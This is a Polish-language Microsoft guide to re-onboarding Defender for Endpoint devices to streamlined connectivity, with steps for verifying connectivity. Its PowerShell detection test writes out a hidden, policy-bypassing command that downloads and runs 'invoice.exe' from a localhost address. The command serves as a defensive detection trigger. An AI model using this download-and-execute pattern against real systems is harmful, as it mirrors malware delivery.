Migrowanie urządzeń w celu użycia uproszczonej metody łączności

  • Dotyczy: Microsoft Defender for Endpoint Plan 1, Microsoft Defender for Endpoint Plan 2

W tym artykule opisano sposób migrowania (ponownego dołączania) urządzeń, które zostały wcześniej dołączone do usługi Defender for Endpoint w celu użycia uproszczonej metody łączności urządzeń. Aby uzyskać więcej informacji na temat usprawnionej łączności, zobacz Dołączanie urządzeń przy użyciu usprawnionej łączności. Urządzenia muszą spełniać wymagania wstępne wymienione w temacie Usprawniona łączność.

W większości przypadków podczas ponownego dołączania nie jest wymagane pełne odłączanie urządzenia. Możesz uruchomić zaktualizowany pakiet dołączania i ponownie uruchomić urządzenie, aby przełączyć łączność. Aby uzyskać szczegółowe informacje na temat poszczególnych systemów operacyjnych, zobacz następujące informacje.

Ważna

Ograniczenia i znane problemy:

  • W przypadku migracji urządzeń (ponowne dołączanie): odłączanie nie jest wymagane do przełączenia się na uproszczoną metodę łączności. Po uruchomieniu zaktualizowanego pakietu dołączania wymagane jest pełne ponowne uruchomienie urządzenia dla urządzeń z systemem Windows oraz ponowne uruchomienie usługi dla systemu macOS i Linux. Aby uzyskać więcej informacji, zobacz szczegóły zawarte w tym artykule.
  • Windows 10 wersje 1607, 1703, 1709 i 1803 nie obsługują ponownego dołączania. Najpierw odłącz, a następnie dołącz przy użyciu zaktualizowanego pakietu. Te wersje wymagają również dłuższej listy adresów URL.
  • Urządzenia z agentem MMA nie są obsługiwane i muszą nadal korzystać z metody dołączania mma.

Uwaga

Narzędzie do wdrażania usługi Defender może służyć do wdrażania zabezpieczeń punktu końcowego usługi Defender na urządzeniach z systemem Windows i Linux. To narzędzie jest uproszczoną, samoaktualizaną aplikacją, która usprawnia proces wdrażania. Aby uzyskać więcej informacji, zobacz Deploy Microsoft Defender endpoint security to Windows devices using the Defender deployment tool and Deploy Microsoft Defender endpoint security to Linux devices using the Defender deployment tool (wersja zapoznawcza).

Migrowanie urządzeń przy użyciu uproszczonej metody

Skorzystaj z poniższych wskazówek, aby przeprowadzić migrację wcześniej dołączonych urządzeń do uproszczonej metody łączności dla każdego obsługiwanego systemu operacyjnego i narzędzia wdrażania.

Przejrzyj zalecenia dotyczące migracji przed przełączeniem metod łączności

Aby zaplanować wdrożenie migracji, skorzystaj z poniższych zaleceń:

  • Rozpocznij od małego. Zaleca się, aby najpierw zacząć od małego zestawu urządzeń. Zastosuj obiekt blob dołączania przy użyciu dowolnego z obsługiwanych narzędzi wdrażania, a następnie monitoruj pod kątem łączności. Jeśli używasz nowych zasad dołączania, aby zapobiec konfliktom, pamiętaj o wykluczeniu urządzenia z innych istniejących zasad dołączania.

  • Weryfikowanie i monitorowanie. Po dołączeniu małego zestawu urządzeń sprawdź, czy urządzenia zostały pomyślnie dołączone i komunikują się z usługą.

  • Zakończ migrację. Na tym etapie można stopniowo wdrażać migrację do większego zestawu urządzeń. Aby ukończyć migrację, można zastąpić poprzednie zasady dołączania i usunąć stare adresy URL z urządzenia sieciowego.

Przed kontynuowaniem migracji zweryfikuj wymagania wstępne dotyczące urządzeń . Ten przewodnik migracji opiera się na dołączaniu urządzeń przy użyciu uproszczonej łączności , koncentrując się na migrowaniu istniejących urządzeń.

Aby ponownie zapisać urządzenia, należy użyć uproszczonego pakietu dołączania. Aby uzyskać więcej informacji na temat uzyskiwania dostępu do pakietu, zobacz Usprawniona łączność.

W zależności od systemu operacyjnego migracje mogą wymagać ponownego uruchomienia urządzenia lub ponownego uruchomienia usługi po zastosowaniu pakietu dołączania:

  • Windows: ponowne uruchamianie urządzenia

  • macOS: uruchom ponownie urządzenie lub uruchom ponownie usługę Defender for Endpoint, uruchamiając następujące polecenie:

    1. sudo launchctl unload /Library/LaunchDaemons/com.microsoft.fresno.plist
    2. sudo launchctl load /Library/LaunchDaemons/com.microsoft.fresno.plist

  • Linux: uruchom ponownie usługę Defender for Endpoint, uruchamiając następujące polecenie:sudo systemctl restart mdatp

W poniższej tabeli wymieniono instrukcje migracji dostępnych narzędzi dołączania w oparciu o system operacyjny urządzenia.

Skorzystaj z poniższych opcji, aby przeprowadzić migrację urządzeń Windows 10 i Windows 11 do uproszczonej metody łączności.

Migrowanie urządzeń Windows 10 i Windows 11

Ważna

Windows 10 wersje 1607, 1703, 1709 i 1803 nie obsługują ponownego dołączania. Aby przeprowadzić migrację istniejących urządzeń, należy całkowicie odłączyć i dołączyć je przy użyciu uproszczonego pakietu dołączania.

Aby uzyskać ogólne informacje na temat dołączania urządzeń klienckich z systemem Windows, zobacz Dołączanie klienta systemu Windows.

Upewnij się, że zostały spełnione wymagania wstępne: wymagania wstępne dotyczące korzystania z uproszczonej metody.

Migrowanie urządzeń przy użyciu skryptu lokalnego

Postępuj zgodnie ze wskazówkami w temacie Skrypt lokalny (maksymalnie 10 urządzeń) przy użyciu uproszczonego pakietu dołączania. Po wykonaniu kroków dołączania skryptu lokalnego należy ponownie uruchomić urządzenie w celu przełączenia połączenia urządzenia.

Migrowanie urządzeń przy użyciu zasad grupy

Postępuj zgodnie ze wskazówkami w temacie Zasady grupy , korzystając z uproszczonego pakietu dołączania. Po wykonaniu kroków dołączania zasad grupy należy ponownie uruchomić urządzenie, aby łączność urządzenia przełączyć się.

Migrowanie urządzeń przy użyciu Microsoft Intune

Postępuj zgodnie ze wskazówkami w Intune przy użyciu uproszczonego pakietu dołączania. Możesz użyć opcji "auto z łącznika"; jednak opcja "automatycznie z łącznika" nie automatycznie zastosuje ponownie pakietu dołączania. Utwórz nowe zasady dołączania i najpierw utwórz grupę testową. Po wykonaniu kroków dołączania w usłudze Intune należy ponownie uruchomić urządzenie w celu przełączenia urządzenia.

Migrowanie urządzeń przy użyciu Microsoft Configuration Manager

Postępuj zgodnie ze wskazówkami w Configuration Manager.

Migrowanie urządzeń VDI przy użyciu uproszczonej metody

Skorzystaj ze wskazówek w temacie Dołączanie nietrwałych urządzeń infrastruktury pulpitu wirtualnego (VDI). Po wykonaniu kroków dołączania VDI należy ponownie uruchomić urządzenie, aby łączność urządzenia została przełączona.

Weryfikowanie łączności urządzeń za pomocą usprawnionej metody dla zmigrowanych urządzeń

Aby sprawdzić, czy urządzenia z systemem Windows zostały pomyślnie połączone, można użyć następujących metod:

W przypadku systemów macOS i Linux można użyć następujących metod:

  • Testy łączności MDATP
  • Śledzenie za pomocą zaawansowanego wyszukiwania zagrożeń w Microsoft Defender
  • Uruchamianie testów w celu potwierdzenia łączności z usługą Defender for Endpoint Services

Użyj usługi Defender for Endpoint Client Analyzer (Windows), aby zweryfikować łączność po dołączeniu do zmigrowanych punktów końcowych

Po dołączeniu uruchom MDE Client Analyzer, aby potwierdzić, że urządzenie łączy się z odpowiednimi zaktualizowanymi adresami URL.

Pobierz narzędzie Ochrona punktu końcowego w usłudze Microsoft Defender Client Analyzer, w którym działa czujnik usługi Defender for Endpoint.

Wykonaj kroki weryfikacji łączności klienta w artykule Weryfikowanie łączności klienta z usługą Ochrona punktu końcowego w usłudze Microsoft Defender. Skrypt automatycznie używa pakietu dołączania skonfigurowanego na urządzeniu (powinna być uproszczona wersja) do testowania łączności.

Upewnij się, że nawiązano łączność przy użyciu odpowiednich adresów URL.

Śledzenie za pomocą zaawansowanego wyszukiwania zagrożeń w Microsoft Defender

Możesz użyć zaawansowanego wyszukiwania zagrożeń w portalu Microsoft Defender, aby wyświetlić stan typu łączności.

Stan typu łączności znajduje się w tabeli DeviceInfo w kolumnie "ConnectivityType":

  • Nazwa kolumny: Typ łączności
  • Możliwe wartości: <blank>, Usprawnione, Standardowe
  • Typ danych: Ciąg
  • Opis: Typ łączności z urządzenia do chmury

Po przeprowadzeniu migracji urządzenia w celu użycia uproszczonej metody i nawiązaniu przez urządzenie pomyślnej komunikacji z kanałem sterowania & EDR wartość jest reprezentowana jako "Usprawniona".

Jeśli przeniesiesz urządzenie z powrotem do zwykłej metody, wartość to "standardowa".

W przypadku urządzeń, które nie próbowały ponownie dołączyć, wartość pozostaje pusta.

Śledzenie lokalnie na urządzeniu za pośrednictwem systemu Windows Podgląd zdarzeń

Dziennik operacyjny SENSE systemu Windows Podgląd zdarzeń umożliwia lokalne weryfikowanie połączeń przy użyciu nowego usprawnionego podejścia. Sense Event ID 4 śledzi pomyślne połączenia EDR.

Otwórz dziennik zdarzeń usługi Defender for Endpoint, wykonując następujące kroki:

  1. W menu Systemu Windows wybierz pozycję Start, a następnie wpisz Podgląd zdarzeń. Następnie wybierz pozycję Podgląd zdarzeń.

  2. Na liście dzienników w obszarze Podsumowanie dziennika przewiń w dół, aż zobaczysz pozycję Microsoft-Windows-SENSE/Operational. Kliknij dwukrotnie element, aby otworzyć dziennik.

    Zrzut ekranu przedstawiający Podgląd zdarzeń z sekcją podsumowania dziennika

    Dostęp do dziennika można również uzyskać, rozwijając pozycję Dzienniki>aplikacji i usług Microsoft>Windows>SENSE i wybierając pozycję Operacje.

  3. Zdarzenie o identyfikatorze 4 śledzi pomyślne połączenia z kanałem & kontroli poleceń usługi Defender for Endpoint. Sprawdź pomyślne połączenia ze zaktualizowanym adresem URL. Przykład:

    Contacted server 6 times, all succeeded, URI: <region>.<geo>.endpoint.security.microsoft.com.
<EventData>
 <Data Name="UInt1">6</Data>
 <Data Name="Message1">https://<region>.<geo>.endpoint.security.microsoft.com>
</EventData>

  4. Komunikat 1 zawiera kontaktowany adres URL. Upewnij się, że zdarzenie zawiera uproszczony adres URL (endpoint.security.microsoft.com).

  5. Identyfikator zdarzenia 5 śledzi błędy, jeśli ma to zastosowanie.

Uwaga

SENSE to nazwa wewnętrzna używana do odwoływania się do czujnika behawioralnego, który obsługuje Ochrona punktu końcowego w usłudze Microsoft Defender.
Zdarzenia zarejestrowane przez usługę są wyświetlane w dzienniku.
Aby uzyskać więcej informacji, zobacz Przeglądanie zdarzeń i błędów przy użyciu Podgląd zdarzeń.

Uruchamianie testów w celu potwierdzenia łączności z usługą Defender for Endpoint Services

Po dołączeniu urządzenia do usługi Defender for Endpoint sprawdź, czy nadal jest ono wyświetlane w spisie urządzeń. Identyfikator DeviceID powinien pozostać taki sam.

Sprawdź kartę Oś czasu strony urządzenia, aby potwierdzić, że zdarzenia przepływają z urządzenia.

Testowanie łączności odpowiedzi na żywo

Upewnij się , że odpowiedź na żywo działa na urządzeniu testowym. Postępuj zgodnie z instrukcjami w temacie Badanie jednostek na urządzeniach przy użyciu odpowiedzi na żywo.

Upewnij się, że po połączeniu uruchomisz kilka podstawowych poleceń, aby potwierdzić łączność (np. cd, jobs, connect).

Testowanie zautomatyzowanego badania i łączności odpowiedzi

Upewnij się, że automatyczne badanie i reagowanie działa na urządzeniu testowym: Konfigurowanie funkcji zautomatyzowanego badania i reagowania.

W przypadku laboratoriów testowania automatycznego środowiska IR przejdź do > &>>Automated Investigations (Samouczki samouczków zautomatyzowanego badania> Samouczki dotyczące ewaluacji).

Testowanie łączności z ochroną dostarczaną przez chmurę

Sprawdź, czy łączność sieciowa usługi Cloud Protection działa:

W wierszu polecenia z podwyższonym poziomem uprawnień (okno wiersza polecenia otwarte przez wybranie pozycji Uruchom jako administrator) uruchom następujące polecenia:

Porada

Pierwsze polecenie zmienia katalog na najnowszą wersję <platformy> ochrony przed złośliwym kodem w programie %ProgramData%\Microsoft\Windows Defender\Platform\<antimalware platform version>. Jeśli ta ścieżka nie istnieje, przechodzi do .%ProgramFiles%\Windows Defender

(set "_done=" & if exist "%ProgramData%\Microsoft\Windows Defender\Platform\" (for /f "delims=" %d in ('dir "%ProgramData%\Microsoft\Windows Defender\Platform" /ad /b /o:-n 2^>nul') do if not defined _done (cd /d "%ProgramData%\Microsoft\Windows Defender\Platform\%d" & set _done=1)) else (cd /d "%ProgramFiles%\Windows Defender")) >nul 2>&1

MpCmdRun.exe -ValidateMapsConnection

Aby uzyskać więcej informacji na temat narzędzia MpCmdRun, zobacz Konfigurowanie programu antywirusowego Microsoft Defender i zarządzanie nimi za pomocą narzędzia wiersza polecenia MpCmdRun.

Blok testowy od pierwszego wejrzenia

Postępuj zgodnie z instrukcjami pokazu Block at First Sight (BAFS) w Ochrona punktu końcowego w usłudze Microsoft Defender Block at First Sight (BAFS) demonstracji.

Testowanie filtru SmartScreen

Postępuj zgodnie z instrukcjami pokazu filtru SmartScreen na stronie pokazu Microsoft Defender SmartScreen (msft.net).

Test wykrywania programu PowerShell

  1. Na urządzeniu z systemem Windows utwórz folder: C:\test-MDATP-test.

  2. Otwórz wiersz polecenia jako administrator.

  3. W oknie wiersza polecenia uruchom następujące polecenie programu PowerShell:

    powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference = 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\test-MDATP-test\\invoice.exe');Start-Process 'C:\\test-MDATP-test\\invoice.exe'

Po uruchomieniu polecenia okno wiersza polecenia zostanie zamknięte automatycznie. Jeśli test wykrywania zakończy się pomyślnie, zostanie oznaczony jako ukończony.

W przypadku systemów macOS i Linux można użyć następujących metod:

  • Testy łączności MDATP
  • Śledzenie za pomocą zaawansowanego wyszukiwania zagrożeń w Microsoft Defender
  • Uruchamianie testów w celu potwierdzenia łączności z usługą Defender for Endpoint Services

Test łączności MDATP (macOS i Linux)

Uruchom polecenie mdatp health --details edr , aby potwierdzić, że edr_partner_geo_location jest dostępna. Wartość powinna być GW_<geo> tam, gdzie "geo" jest lokalizacją geograficzną dzierżawy.

Uruchom test łączności mdatp. Upewnij się, że istnieje uproszczony wzorzec adresu URL. Należy spodziewać się dwóch dla "\storage", jednego dla "\mdav", jednego dla "\xplat" i jednego dla "/packages".

Przykład: https://mdav.us.endpoint.security.microsoft.com/storage

Śledzenie za pomocą zaawansowanego wyszukiwania zagrożeń w Microsoft Defender

Uruchom następujące zapytanie, aby wyświetlić listę dołączonych urządzeń i wyświetlić najnowszy typ łączności zgłoszony dla każdego urządzenia (limit 30 tys.):

DeviceInfo
| where OnboardingStatus == "Onboarded"
| summarize arg_max(ConnectivityType, Timestamp) by DeviceName

Uruchom następujące zapytanie, aby wyświetlić liczbę dołączonych urządzeń pogrupowanych według platformy systemu operacyjnego i typu łączności renderowanych jako wykres słupkowy:

DeviceInfo
| where OnboardingStatus == "Onboarded"
| summarize arg_max(ConnectivityType, Timestamp, OSPlatform) by DeviceName
| summarize count() by OSPlatform, ConnectivityType
| render columnchart

Weryfikowanie łączności dla nowo zmigrowanych punktów końcowych za pomocą analizatora klienta usługi Defender for Endpoint (między platformami)

Pobierz i uruchom analizator klienta dla systemu macOS lub Linux. Aby uzyskać więcej informacji, zobacz Pobieranie i uruchamianie analizatora klienta.

  1. Uruchom polecenie mdeclientanalyzer.cmd -o <path to cmd file> z poziomu folderu MDEClientAnalyzer. Polecenie używa parametrów z pakietu dołączania do testowania łączności.

  2. Uruchom mdeclientanalyzer.cmd -g <GW_US, GW_UK, GW_EU> polecenie (gdzie parametr ma wartość GW_US, GW_EU, GW_UK). Gw odnosi się do uproszczonej opcji. Uruchom polecenie z odpowiednim obszarem geograficznym dzierżawy.

  • Last updated on